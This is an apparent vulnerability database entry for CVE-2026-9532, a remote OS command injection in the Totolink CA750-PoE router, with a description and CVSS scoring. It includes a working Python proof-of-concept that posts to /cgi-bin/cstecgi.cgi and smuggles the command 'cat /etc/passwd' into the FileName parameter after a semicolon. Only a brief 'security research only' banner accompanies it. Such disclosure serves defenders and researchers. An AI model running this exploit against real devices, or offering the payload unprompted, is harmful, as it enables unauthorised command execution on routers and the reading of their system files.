Security Vulnerability Report
中文
CVE-2026-9532 CVSS 6.3 MEDIUM

CVE-2026-9532

Published: 2026-05-26 07:16:20
Last Modified: 2026-05-26 07:16:20

Description

A security vulnerability has been detected in Totolink CA750-PoE 6.2c.510. The affected element is the function setUploadUserData of the file /cgi-bin/cstecgi.cgi of the component Setting Handler. Such manipulation of the argument FileName leads to os command injection. The attack may be performed from remote. The exploit has been disclosed publicly and may be used.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Totolink CA750-PoE 6.2c.510

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit(target_ip): url = f"http://{target_ip}/cgi-bin/cstecgi.cgi" headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (compatible; ExploitBot/1.0)" } # Payload to inject a command (e.g., ping back or cat file) # Using a semicolon to chain commands in the FileName parameter malicious_filename = "test.txt;cat /etc/passwd" data = { "function": "setUploadUserData", "FileName": malicious_filename } try: response = requests.post(url, headers=headers, data=data, timeout=5) print(f"[+] Payload sent to {target_ip}") print(f"[+] Response status: {response.status_code}") print(f"[+] Response body: {response.text}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "192.168.0.1" # Replace with target IP exploit(target)

References

Raw JSON Data

JSON
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